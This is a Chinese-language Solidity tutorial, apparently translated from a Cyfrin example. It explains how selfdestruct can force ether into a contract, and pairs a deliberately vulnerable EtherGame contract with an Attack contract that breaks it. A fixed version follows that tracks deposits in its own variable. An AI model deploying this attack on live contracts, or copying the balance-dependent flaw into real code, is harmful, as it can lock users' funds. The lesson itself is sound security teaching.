欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的自毁(代码示例)
合约可以通过调用selfdestruct从区块链上删除。
selfdestruct会将合约中存储的所有剩余以太币发送到指定地址。
漏洞
恶意合约可以利用 selfdestruct强制向任何合约发送以太币。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
// 本游戏的目标是成为第7位存入1以太币的玩家。
// 玩家每次只能存入1以太币。
// 获胜者将能够提取所有以太币。
/*
1. 部署EtherGame
2. 玩家(例如Alice和Bob)决定参与游戏,每人存入1个以太币。
3. 部署Attack合约并传入EtherGame地址
4. 调用Attack.attack发送5个以太币。这将破坏游戏
没有人能成为赢家。
发生了什么?
Attack强制使EtherGame的余额变为7个以太币。
现在没有人可以存款,也无法设定赢家。
*/
contract EtherGame {
uint256 public constant TARGET_AMOUNT = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint256 balance = address(this).balance;
require(balance <= TARGET_AMOUNT, "Game is over");
if (balance == TARGET_AMOUNT) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent,) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
预防性技术
不要依赖 address(this).balance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract EtherGame {
uint256 public constant TARGET_AMOUNT = 7 ether;
uint256 public balance;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value;
require(balance <= TARGET_AMOUNT, "Game is over");
if (balance == TARGET_AMOUNT) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
uint256 amount = balance;
balance = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
Remix Lite 尝试一下